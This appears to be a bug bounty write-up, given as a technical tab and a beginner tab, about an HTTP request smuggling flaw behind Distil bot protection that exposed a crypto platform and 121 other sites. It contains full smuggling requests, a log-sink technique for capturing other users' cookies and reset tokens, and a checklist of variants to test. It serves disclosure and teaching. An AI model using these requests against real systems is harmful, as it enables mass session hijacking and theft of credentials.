Skip to content
Smuggling / CRLF Write-up Advanced

HTTP Desync Attack (Request Smuggling) - Mass Account Takeover at a Cryptocurrency based asset and 121 other websites

The front-end server used the Content-Length header while the back-end server used Transfer-Encoding to determine request length, causing HTTP request smuggling. An attacker could log other users' requests, including session cookies and password reset tokens, leading to mass account takeover.

Ankit Singh Follow

Published on github.com

Bounty$4,300 View original

History

Ankit Singh (@AnkitCuriosity), on github.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

Context

The target was a cryptocurrency payment platform, referred to throughout as my.vulnerable.com to respect the program's non-disclosure policy. The platform sits behind Distil Bot protection (later acquired by Imperva), and the same protection fronted a large number of other sites.

The feature that made the attack visible is the Legal Entity form at https://my.vulnerable.com/user/vendor/legal. It is an ordinary urlencoded POST form that saves vendor legal details: name, address, type, representative name, telephone, terms and NDA flags, and a CSRF token. The Business Address field is persisted and shown back to the account owner when they revisit the page. That persistence is what turns a desync into a readable log of other people's traffic.

The underlying bug is an HTTP desync (request smuggling) issue: the front end server used Content-Length to determine request length while the back end server used Transfer-Encoding. The report describes the specific shape as a CL.TE dualchunk left alive smuggling vulnerability, where two Transfer-Encoding headers are sent in the attack request.

Setup

  • Two machines on two different public IP addresses: one acting as the victim, one as the attacker.
  • Burp Suite, using the native Intruder rather than Turbo Intruder for the basic proof of concept, plus Repeater tabs.
  • All testing was carried out in the staging environment rather than production, because the technique causes real-time disruption to genuine users. The low traffic of staging also makes native Intruder practical.
  • A free account on my.vulnerable.com was registered to own the Legal Entity record used as the log sink.

Finding it

The researcher observed that the front end and back end disagreed on how to measure an HTTP request: the front end honoured Content-Length, the back end honoured Transfer-Encoding. When a request carries both headers, the two servers can disagree about where one request ends and the next begins, so bytes intended as the body of one request are parsed by the back end as the start of a second, smuggled request.

Because the smuggled request can be a POST to the Legal Entity endpoint with a trailing parameter left open, the next legitimate request that arrives on the same back end connection gets appended to that parameter and stored. The attacker then reads it back from the form.

Exploitation

Step 1: confirm normal behaviour as the victim

As the victim, visit https://my.vulnerable.com in the browser, intercept the GET request, send it to Repeater, and confirm an HTTP/1.1 200 OK response as expected.

Step 2: prepare the ambiguous request as the attacker

From a different public IP address, place the following request in a Repeater tab:

HTTP
POST / HTTP/1.1
Host: my.vulnerable.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://my.vulnerable.com/
Cookie: ******************
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Transfer-Encoding: chunked
Transfer-encoding: identity

0

TRACE /hopefully405 HTTP/1.1
X-Ignore: X

The request declares both Content-Length: 46 and two Transfer-Encoding headers, chunked and identity. The body starts with a zero-length chunk (0), which ends the chunked body for the back end, and the following TRACE /hopefully405 HTTP/1.1 line is left in the stream as the beginning of the next request. The X-Ignore: X line follows the smuggled request line.

Step 3: replay both sides concurrently

  1. On the victim's machine, send the request to Intruder and replay it about 200 to 300 times.
  2. At the same time, keep replaying the attacker's request in Repeater until the Intruder run has finished.

Step 4: observe the desync

In the victim's Intruder table, some responses come back as HTTP/1.1 405 Not Allowed containing hopefully405 in the body, instead of the expected HTTP/1.1 200 OK. The victim's Intruder table shows HTTP/1.1 405 Not Allowed responses containing hopefully405 instead of the expected HTTP/1.1 200 OK.

Step 5: understand the log sink

A normal POST to the legal entity endpoint looks like this:

HTTP
POST /user/vendor/legal HTTP/1.1
Host: my.vulnerable.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://my.vulnerable.com/user/vendor/legal
Content-Type: application/x-www-form-urlencoded
Content-Length: 399
Connection: close
Cookie: ******************
Upgrade-Insecure-Requests: 1

user_vendor_legal%5Bname%5D=xxxxxx&user_vendor_legal%5Baddress%5D=blahblah&user_vendor_legal%5Btype%5D=individual&user_vendor_legal%5BrepFirstName%5D=xxxxxxx&user_vendor_legal%5BrepLastName%5D=xxxxxx&user_vendor_legal%5Btelephone%5D=xxxxxxxx&user_vendor_legal%5Bterms%5D=1&user_vendor_legal%5Bnda%5D=1&user_vendor_legal%5Bsave%5D=&user_vendor_legal%5B_token%5D=[redacted]

Navigating to https://my.vulnerable.com/user/vendor/legal afterwards shows the Business Address field saved with the submitted value (in this example blahblah).

Step 6: smuggle a legal entity POST with an open trailing parameter

If the user_vendor_legal%5Baddress%5D parameter is placed at the very end of the POST body, the next request on the connection is appended to its value. The attacker sends a single request:

HTTP
POST / HTTP/1.1
Host: my.vulnerable.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://my.vulnerable.com/
Cookie: ******************
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1783
Transfer-Encoding: chunked
Transfer-encoding: identity

0

POST /user/vendor/legal HTTP/1.1
Host: my.vulnerable.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://my.vulnerable.com/user/vendor/brand/5e9017a29006a
Content-Type: application/x-www-form-urlencoded
Content-Length: 1700
Connection: close
Cookie: ******************
Upgrade-Insecure-Requests: 1

user_vendor_legal%5Bname%5D=xxxxxx&user_vendor_legal%5Btype%5D=individual&user_vendor_legal%5BrepFirstName%5D=xxxxxxx&user_vendor_legal%5BrepLastName%5D=xxxxxx&user_vendor_legal%5Btelephone%5D=xxxxxxxx&user_vendor_legal%5Bterms%5D=1&user_vendor_legal%5Bnda%5D=1&user_vendor_legal%5Bsave%5D=&user_vendor_legal%5B_token%5D=[redacted]&user_vendor_legal%5Baddress%5D=

This is a single request, not a series. The smuggled inner POST ends with user_vendor_legal%5Baddress%5D= and no value. Whichever legitimate user makes the next GET or POST request on that back end connection has their request appended as the value of that parameter. The attacker then visits https://my.vulnerable.com/user/vendor/legal and sees the victim's HTTP request stored as the Business Address in the Legal Entity section.

The captured POST shown in the write-up includes the victim's token value in their X-D-Token request header.

Step 7: requests from other hosts behind the same IP

While testing, the researcher noticed that the Legal Entity section was also capturing requests addressed to other hosts, such as www.******.com, www.*****.be and api.******.com, belonging to organisations other than the target program. All of these hosts, including my.vulnerable.com, resolved to the same IP, 192.225.xxx.x, which belongs to Distil Networks. A reverse IP WHOIS lookup reported 121 other websites using that address.

One captured GET request had a Host of www.****.com, different from my.vulnerable.com. Other captured requests, stored as POST data, included cookies in some cases:

HTTP
GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.******.beConnection: Keep-AliveCookie: __gfp_64b=c15nPXPLAcNx_df6U9Q5ZFIe9BHtz7
HTTP
GET /api/suggest/where?term=Br HTTP/1.1Host: www.******.beAccept-Language: nl-nlAccept-Encoding: gzip, deflate, brCookie: adheseTestCookie=; euconsent=BOxonYdOxonYdAPABANLDF-[redacted]-___u_-33d4u_1vf99yfm1-
HTTP
POST /ngx_pagespeed_beacon?url=http://www.******.com/codes/ever-wish.com?key=11436251019981 HTTP/1.1Host: www.******.comAccept: */*Accept-Language: en-auAccept-Encoding: br, gzip, deflateContent-Type: application/x-www-form-urlencoded
HTTP
GET /api/v2/wants/is_wanted?gameVariantCode=ACE COMBAT 7 SKIES UNKNOWN Deluxe - PC HTTP/1.1Host: api.************.comConnection: Keep-AliveAccept-Encoding: gzipCF-IPCountry: GBX-Forwarded-For: [redacted], 162.158.159.101CF-RAY: 581b846bb22

Step 8: the reverse direction

The researcher then asked whether the reverse was possible: could an input field on one of the other 121 hosts be used to log requests of my.vulnerable.com users? Visiting one of the www.******.com hosts showed it was vulnerable to the same CL.TE dualchunk left alive smuggling issue, with the same pair of headers:

HTTP
Transfer-Encoding: chunked
Transfer-encoding: identity

The researcher emailed the www.******.com support team about the vulnerability and asked them to fix it before someone exploited it.

Root cause

The front end server used Content-Length to frame requests while the back end used Transfer-Encoding. Sending both headers, with two Transfer-Encoding values (chunked and identity), leaves the back end parsing a chunked body that the front end measured differently, so the trailing bytes become a new request on the back end connection. The 0 chunk terminator ends the body for the back end, and the following request line is treated as the start of the next request.

The design mistake that turns this into data theft is that the Legal Entity form accepts a urlencoded parameter and stores it, and the back end will happily append the next request on the connection to an unterminated parameter value. The hosts shared the same backend address, which is why the same behaviour appeared across them.

Impact

No victim interaction is required. Any user, anywhere, who simply requests https://my.vulnerable.com or any of the 121 other sites can have their request captured by the smuggled POST, and the researcher states their session would be hijacked. An attacker can log an enormous number of users' HTTP requests: send the ambiguous request, wait a second or two, check the Legal Entity section at https://my.vulnerable.com/user/vendor/legal, and someone's cookies and tokens will be there.

There is a limit: only the first 255 characters of a user's request are logged, because the server validates the length of user_vendor_legal%5Baddress%5D and refuses strings longer than 255 characters. Even so, the researcher judged exploitability largely unaffected, because the following still fit within the first 255 characters:

  1. Password reset requests, which are GET requests of the form:
HTTP
GET /resetting/reset/[redacted] HTTP/1.1
Host: my.vulnerable.com
  1. PIN reset requests, which are GET requests of the form:
HTTP
GET /reset-pin/[redacted]-idwMLxVSXM HTTP/1.1
Host: my.vulnerable.com
  1. Other GET requests carrying sensitive tokens, for example:
HTTP
GET /api/wallet?[redacted] HTTP/1.1
Host: my.vulnerable.com
  1. SSO requests generated when connecting or signing in to my.vulnerable.com from task.vulnerable.com, another asset of the same organisation:
HTTP
GET /sso/redacted?sso=[redacted]%253D&[redacted] HTTP/1.1
Host: my.vulnerable.com

The sso and sig values can be stolen this way.

  1. Sensitive header or cookie values from within the request, if they fall within the first 255 characters.

Two workarounds were considered for the 255-character limit. The first was to look for another field on my.vulnerable.com that accepts longer input: the researcher had not explored the Send, Exchanges and similar functionality, and had registered only a free account, so other account types might expose fields without the limit. The second relies on the reverse direction: if any input field on any of the other 121 hosts allows more than 255 characters, it can be used to log the full request of my.vulnerable.com users, including the complete cookie header.

Severity was assigned P1 or Critical, with a bounty of $4,300.

Fix

The finding was a result of Distil Bot protection being vulnerable to HTTP desync attacks back in 2020. The vendor later fixed the issue itself, and now any HTTP request exhibiting ambiguity is rejected.

Variants to test

  • Send a request with both Content-Length and two Transfer-Encoding headers (chunked and identity) to any endpoint behind a shared proxy or bot manager, and watch for a smuggled prefix such as TRACE /hopefully405 appearing in another user's responses. A positive result is a 405 Not Allowed containing the smuggled path where a 200 OK was expected.
  • Look for a persisted form field that accepts urlencoded input and is displayed back to the account owner. Smuggle a POST to that endpoint with the field left as the last parameter and no value, then check the page for another user's request line, headers or cookies. A positive result is a stored request whose Host differs from the target.
  • Check whether several hosts resolve to the same front end address. If they do, repeat the smuggling test against each host and inspect the log sink for requests addressed to the others. A positive result is a captured request with a different Host header.
  • Test the reverse direction: use an input field on a neighbouring host to capture requests for the primary target, looking for the full cookie header in the stored value.
  • Probe for fields without the 255-character limit, including other account types and features such as send or exchange flows, to see whether a complete request, rather than its first 255 characters, can be captured.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 21 min read.

What happened, in plain words

A security researcher found a way to make a cryptocurrency payment website save other people's private web traffic into a form field that the researcher could then read back. The trick did not need the victims to click anything or install anything. Anyone who simply used the site, or one of 121 other websites sharing the same protection service, could have their login cookies and security tokens captured.

The site is referred to throughout as my.vulnerable.com because the program asked the researcher not to name the real asset. The underlying flaw is called an HTTP desync attack, also known as request smuggling. The report describes the specific shape as a CL.TE dualchunk left alive smuggling vulnerability, where two Transfer-Encoding headers are sent in the attack request.

The feature that made the theft visible is an ordinary form on the site called Legal Entity, at https://my.vulnerable.com/user/vendor/legal. It saves vendor legal details: name, address, type, representative name, telephone, terms and NDA flags, and a CSRF token. The Business Address field is saved and shown back to the account owner when they revisit the page. That save-and-display behaviour is what turns a desync into a readable log of other people's traffic.

The ideas you need first

Before the steps make sense, here are the basic building blocks, explained from zero.

A request and a response. When your browser loads a page, it sends a small text message to a server called a request, and the server sends back a response. A request has a first line (the method, such as GET or POST, and the path), then a set of header lines (extra information such as which site you want and what cookies you carry), then optionally a body (data you are submitting).

GET and POST. GET is used to ask for something, like a page or an image. POST is used to send data, like a form you filled in. A GET request usually has no body; a POST usually does.

Headers. Headers are labelled lines in a request or response. Host says which website you want. Cookie carries your session. Content-Type says what kind of body follows. Content-Length says how many bytes the body has. Transfer-Encoding says the body is sent in pieces (chunks) instead of one fixed length.

Cookies and tokens. A cookie is a small piece of text your browser stores for a site and sends back on every request. It is how the site recognises you after you log in. A token is a similar secret string, often placed in a URL or a header, that proves who you are or authorises an action. If someone else gets your cookie or token, they can often act as you. That is called session hijacking.

An API. An API is a set of URLs a program (or a page's JavaScript) calls to get or send data, usually returning structured data rather than a full web page. For example /api/wallet in this report is an API endpoint.

A form field and urlencoded data. When a browser submits a normal HTML form, it packs the fields into one long string like name=value&name2=value2. Special characters are percent-encoded, so [ becomes %5B and ] becomes %5D. That is why user_vendor_legal[address] appears as user_vendor_legal%5Baddress%5D.

A front end and a back end. Large sites often put one server in front (the front end, sometimes a proxy, load balancer or bot-protection service) and another behind it (the back end, which runs the actual application). The front end receives your request and passes it to the back end. If the two disagree about where one request ends and the next begins, trouble follows.

Bot protection. A service that sits in front of websites and tries to tell humans from automated traffic. Distil Networks, later acquired by Imperva, is the one in this report. Many different websites can share the same protection service and therefore the same front end address.

HTTP desync / request smuggling. Imagine two people reading the same letter but disagreeing about where one sentence ends. If the front end measures a request one way and the back end measures it another way, some bytes can be treated by the back end as the start of a second request that the front end never intended to send. That hidden second request is called a smuggled request. The attacker controls it, and it gets processed as if it came from the next innocent user on the same connection.

Chunked encoding. With Transfer-Encoding: chunked, the body is sent as pieces. Each piece starts with its size in hexadecimal, then the data. A chunk of size 0 means the body is finished. Anything after that zero chunk is supposed to be the start of the next request on the same connection.

Burp Suite, Repeater and Intruder. Burp Suite is a tool that sits between your browser and a website so you can see and edit requests. Repeater lets you send one request over and over by hand. Intruder lets you send the same request many times automatically. Turbo Intruder is a faster add-on for very high volumes.

Staging versus production. Staging is a test copy of a site, used before changes go live. Production is the real site with real users. Testing that disrupts traffic is done on staging so real customers are not affected.

WHOIS reverse IP lookup. A public directory query that asks which domain names point to a given IP address. It is a quick way to discover other sites sharing a server.

SSO. Single sign-on: logging in once on one site and being recognised by another related site, usually by passing a signed token in a URL.

CSRF token. A secret value embedded in a form to prove the form was generated by the real site and not forged by another site. It appears in the legal entity form as user_vendor_legal%5B_token%5D.

The setup

The researcher used:

  • Two machines on two different public IP addresses: one acting as the victim, one as the attacker. Two different addresses matter because the test needs two independent clients hitting the same back end at the same time.
  • Burp Suite, using the native Intruder rather than Turbo Intruder for the basic proof of concept, plus Repeater tabs.
  • The staging environment rather than production, because the technique causes real-time disruption to genuine users. Staging's low traffic also makes native Intruder practical.
  • A free account on my.vulnerable.com, registered to own the Legal Entity record used as the log sink.

Finding it

The researcher observed that the front end and back end disagreed on how to measure an HTTP request: the front end honoured Content-Length, the back end honoured Transfer-Encoding. When a request carries both headers, the two servers can disagree about where one request ends and the next begins, so bytes intended as the body of one request are parsed by the back end as the start of a second, smuggled request.

Because the smuggled request can be a POST to the Legal Entity endpoint with a trailing parameter left open, the next legitimate request that arrives on the same back end connection gets appended to that parameter and stored. The attacker then reads it back from the form.

Exploitation

Step 1: confirm normal behaviour as the victim

As the victim, visit https://my.vulnerable.com in the browser, intercept the GET request, send it to Repeater, and confirm an HTTP/1.1 200 OK response as expected.

Why: you need a baseline. If the victim's request normally returns 200 OK, then any later 405 Not Allowed is a clear sign that something else was injected into the victim's connection.

Step 2: prepare the ambiguous request as the attacker

From a different public IP address, place the following request in a Repeater tab:

HTTP
POST / HTTP/1.1
Host: my.vulnerable.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://my.vulnerable.com/
Cookie: ******************
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Transfer-Encoding: chunked
Transfer-encoding: identity

0

TRACE /hopefully405 HTTP/1.1
X-Ignore: X

Line by line:

  • POST / HTTP/1.1: a POST to the site root, using HTTP version 1.1. The path is just / because the interesting part is not the path but the framing.
  • Host: my.vulnerable.com: the site being addressed.
  • User-Agent, Accept, Accept-Language, Accept-Encoding: ordinary browser headers, copied so the request looks normal.
  • Connection: close: ask the server to close the connection after this request.
  • Referer: https://my.vulnerable.com/: says the request came from the site itself.
  • Cookie: ******************: the attacker's own session cookie, redacted here.
  • Upgrade-Insecure-Requests: 1: a standard browser header asking for HTTPS.
  • Content-Type: application/x-www-form-urlencoded: the body is form-encoded data.
  • Content-Length: 46: the front end is told the body is 46 bytes long.
  • Transfer-Encoding: chunked: the back end is told the body is chunked.
  • Transfer-encoding: identity: a second, conflicting transfer-encoding header. This is the dualchunk part: two Transfer-Encoding headers, chunked and identity.
  • Blank line: end of headers.
  • 0: a zero-length chunk, which ends the chunked body for the back end.
  • Blank line.
  • TRACE /hopefully405 HTTP/1.1: the smuggled request line.
  • X-Ignore: X: a header line following the smuggled request line.

Why: the front end and back end measure the request differently, so the trailing bytes can be read as a new request.

Step 3: replay both sides concurrently

  1. On the victim's machine, send the request to Intruder and replay it about 200 to 300 times.
  2. At the same time, keep replaying the attacker's request in Repeater until the Intruder run has finished.

Why: the report describes replaying both sides at the same time until the Intruder run finishes.

Step 4: observe the desync

In the victim's Intruder table, some responses come back as HTTP/1.1 405 Not Allowed containing hopefully405 in the body, instead of the expected HTTP/1.1 200 OK. The victim's Intruder table shows HTTP/1.1 405 Not Allowed responses containing hopefully405 instead of the expected HTTP/1.1 200 OK.

Why this matters: the victim never sent TRACE /hopefully405. Seeing it in the victim's responses means the attacker's bytes were processed as part of the victim's traffic. That is the proof of the vulnerability.

Step 5: understand the log sink

A normal POST to the legal entity endpoint looks like this:

HTTP
POST /user/vendor/legal HTTP/1.1
Host: my.vulnerable.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://my.vulnerable.com/user/vendor/legal
Content-Type: application/x-www-form-urlencoded
Content-Length: 399
Connection: close
Cookie: ******************
Upgrade-Insecure-Requests: 1

user_vendor_legal%5Bname%5D=xxxxxx&user_vendor_legal%5Baddress%5D=blahblah&user_vendor_legal%5Btype%5D=individual&user_vendor_legal%5BrepFirstName%5D=xxxxxxx&user_vendor_legal%5BrepLastName%5D=xxxxxx&user_vendor_legal%5Btelephone%5D=xxxxxxxx&user_vendor_legal%5Bterms%5D=1&user_vendor_legal%5Bnda%5D=1&user_vendor_legal%5Bsave%5D=&user_vendor_legal%5B_token%5D=[redacted]

Line by line:

  • POST /user/vendor/legal HTTP/1.1: submitting the legal entity form.
  • Host: my.vulnerable.com: the site.
  • User-Agent, Accept, Accept-Language, Accept-Encoding: ordinary browser headers.
  • Referer: https://my.vulnerable.com/user/vendor/legal: the form page itself.
  • Content-Type: application/x-www-form-urlencoded: the body is form-encoded.
  • Content-Length: 399: the body is 399 bytes.
  • Connection: close: close after this request.
  • Cookie: ******************: the user's session cookie, redacted.
  • Upgrade-Insecure-Requests: 1: standard browser header.
  • Blank line, then the body: a series of name=value pairs. user_vendor_legal%5Bname%5D is the percent-encoded form of user_vendor_legal[name], and so on for address, type, representative first and last name, telephone, terms, NDA, save, and the CSRF token user_vendor_legal%5B_token%5D.

Navigating to https://my.vulnerable.com/user/vendor/legal afterwards shows the Business Address field saved with the submitted value (in this example blahblah).

Why this matters: the site stores what you submit and shows it back to you. That is the mechanism the attacker will abuse. If the site did not save and display the field, the smuggled data would have nowhere to land.

Step 6: smuggle a legal entity POST with an open trailing parameter

If the user_vendor_legal%5Baddress%5D parameter is placed at the very end of the POST body, the next request on the connection is appended to its value. The attacker sends a single request:

HTTP
POST / HTTP/1.1
Host: my.vulnerable.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://my.vulnerable.com/
Cookie: ******************
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1783
Transfer-Encoding: chunked
Transfer-encoding: identity

0

POST /user/vendor/legal HTTP/1.1
Host: my.vulnerable.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://my.vulnerable.com/user/vendor/brand/5e9017a29006a
Content-Type: application/x-www-form-urlencoded
Content-Length: 1700
Connection: close
Cookie: ******************
Upgrade-Insecure-Requests: 1

user_vendor_legal%5Bname%5D=xxxxxx&user_vendor_legal%5Btype%5D=individual&user_vendor_legal%5BrepFirstName%5D=xxxxxxx&user_vendor_legal%5BrepLastName%5D=xxxxxx&user_vendor_legal%5Btelephone%5D=xxxxxxxx&user_vendor_legal%5Bterms%5D=1&user_vendor_legal%5Bnda%5D=1&user_vendor_legal%5Bsave%5D=&user_vendor_legal%5B_token%5D=[redacted]&user_vendor_legal%5Baddress%5D=

Line by line:

  • The outer request is the same ambiguous shape as before: POST /, Host, ordinary browser headers, Connection: close, the attacker's cookie, Content-Type: application/x-www-form-urlencoded, Content-Length: 1783, and the two conflicting Transfer-Encoding headers chunked and identity.
  • 0 ends the chunked body for the back end.
  • The smuggled inner request begins: POST /user/vendor/legal HTTP/1.1, addressed to my.vulnerable.com, with its own browser headers, its own Content-Length: 1700, its own Connection: close, its own cookie, and its own Content-Type.
  • The inner body is a legal entity form submission. It includes name, type, representative names, telephone, terms, NDA, save, and the CSRF token, and it ends with user_vendor_legal%5Baddress%5D= and no value.

This is a single request, not a series. The smuggled inner POST ends with user_vendor_legal%5Baddress%5D= and no value. Whichever legitimate user makes the next GET or POST request on that back end connection has their request appended as the value of that parameter. The attacker then visits https://my.vulnerable.com/user/vendor/legal and sees the victim's HTTP request stored as the Business Address in the Legal Entity section.

The captured POST shown in the write-up includes the victim's token value in their X-D-Token request header.

Why this works: the smuggled POST ends with an empty user_vendor_legal%5Baddress%5D parameter, so the next user's request is appended to it and saved.

Step 7: requests from other hosts behind the same IP

While testing, the researcher noticed that the Legal Entity section was also capturing requests addressed to other hosts, such as www.******.com, www.*****.be and api.******.com, belonging to organisations other than the target program. All of these hosts, including my.vulnerable.com, resolved to the same IP, 192.225.xxx.x, which belongs to Distil Networks. A reverse IP WHOIS lookup reported 121 other websites using that address.

One captured GET request had a Host of www.****.com, different from my.vulnerable.com. Other captured requests, stored as POST data, included cookies in some cases:

HTTP
GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.******.beConnection: Keep-AliveCookie: __gfp_64b=c15nPXPLAcNx_df6U9Q5ZFIe9BHtz7

This is a captured request for a favicon (the small site icon) from a different host, www.******.be. It carries a cookie named __gfp_64b. The lines are run together in the capture, but each HeaderName: marks a new header.

HTTP
GET /api/suggest/where?term=Br HTTP/1.1Host: www.******.beAccept-Language: nl-nlAccept-Encoding: gzip, deflate, brCookie: adheseTestCookie=; euconsent=BOxonYdOxonYdAPABANLDF-[redacted]-___u_-33d4u_1vf99yfm1-

This is a captured API call to a search suggestion endpoint, with a search term Br, from the same host. It carries two cookies, adheseTestCookie and euconsent.

HTTP
POST /ngx_pagespeed_beacon?url=http://www.******.com/codes/ever-wish.com?key=11436251019981 HTTP/1.1Host: www.******.comAccept: */*Accept-Language: en-auAccept-Encoding: br, gzip, deflateContent-Type: application/x-www-form-urlencoded

This is a captured POST to a performance beacon endpoint, with a URL and key in the query string, from www.******.com.

HTTP
GET /api/v2/wants/is_wanted?gameVariantCode=ACE COMBAT 7 SKIES UNKNOWN Deluxe - PC HTTP/1.1Host: api.************.comConnection: Keep-AliveAccept-Encoding: gzipCF-IPCountry: GBX-Forwarded-For: [redacted], 162.158.159.101CF-RAY: 581b846bb22

This is a captured API call asking whether a particular game edition is wanted, from api.************.com. It carries CF-IPCountry, X-Forwarded-For and CF-RAY headers, which are typical of traffic passing through a content delivery network.

Why this matters: the same front end address serves many sites. A desync on one site can therefore capture traffic for all of them, and the captured requests show different Host values, proving the cross-site effect.

Step 8: the reverse direction

The researcher then asked whether the reverse was possible: could an input field on one of the other 121 hosts be used to log requests of my.vulnerable.com users? Visiting one of the www.******.com hosts showed it was vulnerable to the same CL.TE dualchunk left alive smuggling issue, with the same pair of headers:

HTTP
Transfer-Encoding: chunked
Transfer-encoding: identity

These two lines are the core of the trick: two Transfer-Encoding headers with different values, so the front end and back end can disagree about how the body is framed.

The researcher emailed the www.******.com support team about the vulnerability and asked them to fix it before someone exploited it.

Why this matters: if the reverse works, an attacker does not even need a field on my.vulnerable.com that accepts long input. Any cooperating host behind the same front end can serve as the log sink.

Root cause

The front end server used Content-Length to frame requests while the back end used Transfer-Encoding. Sending both headers, with two Transfer-Encoding values (chunked and identity), leaves the back end parsing a chunked body that the front end measured differently, so the trailing bytes become a new request on the back end connection. The 0 chunk terminator ends the body for the back end, and the following request line is treated as the start of the next request.

The design mistake that turns this into data theft is that the Legal Entity form accepts a urlencoded parameter and stores it, and the back end will happily append the next request on the connection to an unterminated parameter value. The hosts shared the same backend address, which is why the same behaviour appeared across them.

Impact

No victim interaction is required. Any user, anywhere, who simply requests https://my.vulnerable.com or any of the 121 other sites can have their request captured by the smuggled POST, and the researcher states their session would be hijacked. An attacker can log an enormous number of users' HTTP requests: send the ambiguous request, wait a second or two, check the Legal Entity section at https://my.vulnerable.com/user/vendor/legal, and someone's cookies and tokens will be there.

There is a limit: only the first 255 characters of a user's request are logged, because the server validates the length of user_vendor_legal%5Baddress%5D and refuses strings longer than 255 characters. Even so, the researcher judged exploitability largely unaffected, because the following still fit within the first 255 characters:

  1. Password reset requests, which are GET requests of the form:
HTTP
GET /resetting/reset/[redacted] HTTP/1.1
Host: my.vulnerable.com

This is a password reset request. The long string in the path is the reset token, which comes within the first 255 characters.

  1. PIN reset requests, which are GET requests of the form:
HTTP
GET /reset-pin/[redacted]-idwMLxVSXM HTTP/1.1
Host: my.vulnerable.com

This is a PIN reset request. The reset token in the path comes within the first 255 characters.

  1. Other GET requests carrying sensitive tokens, for example:
HTTP
GET /api/wallet?[redacted] HTTP/1.1
Host: my.vulnerable.com

This is an API call to the wallet endpoint with a token in the query string, which comes within the first 255 characters.

  1. SSO requests generated when connecting or signing in to my.vulnerable.com from task.vulnerable.com, another asset of the same organisation:
HTTP
GET /sso/redacted?sso=[redacted]%253D&[redacted] HTTP/1.1
Host: my.vulnerable.com

This is an SSO request. The sso and sig values can be stolen this way.

  1. Sensitive header or cookie values from within the request, if they fall within the first 255 characters.

Two workarounds were considered for the 255-character limit. The first was to look for another field on my.vulnerable.com that accepts longer input: the researcher had not explored the Send, Exchanges and similar functionality, and had registered only a free account, so other account types might expose fields without the limit. The second relies on the reverse direction: if any input field on any of the other 121 hosts allows more than 255 characters, it can be used to log the full request of my.vulnerable.com users, including the complete cookie header.

Severity was assigned P1 or Critical, with a bounty of $4,300.

Fix

The finding was a result of Distil Bot protection being vulnerable to HTTP desync attacks back in 2020. The vendor later fixed the issue itself, and now any HTTP request exhibiting ambiguity is rejected.

Variants to test

  • Send a request with both Content-Length and two Transfer-Encoding headers (chunked and identity) to any endpoint behind a shared proxy or bot manager, and watch for a smuggled prefix such as TRACE /hopefully405 appearing in another user's responses. A positive result is a 405 Not Allowed containing the smuggled path where a 200 OK was expected.
  • Look for a persisted form field that accepts urlencoded input and is displayed back to the account owner. Smuggle a POST to that endpoint with the field left as the last parameter and no value, then check the page for another user's request line, headers or cookies. A positive result is a stored request whose Host differs from the target.
  • Check whether several hosts resolve to the same front end address. If they do, repeat the smuggling test against each host and inspect the log sink for requests addressed to the others. A positive result is a captured request with a different Host header.
  • Test the reverse direction: use an input field on a neighbouring host to capture requests for the primary target, looking for the full cookie header in the stored value.
  • Probe for fields without the 255-character limit, including other account types and features such as send or exchange flows, to see whether a complete request, rather than its first 255 characters, can be captured.

Glossary

  • API: a set of URLs a program calls to get or send data, usually returning structured data rather than a full web page.
  • Back end: the server behind the front end that runs the actual application logic.
  • Bot protection: a service in front of websites that tries to tell humans from automated traffic.
  • Burp Suite: a tool that sits between your browser and a website so you can see and edit requests.
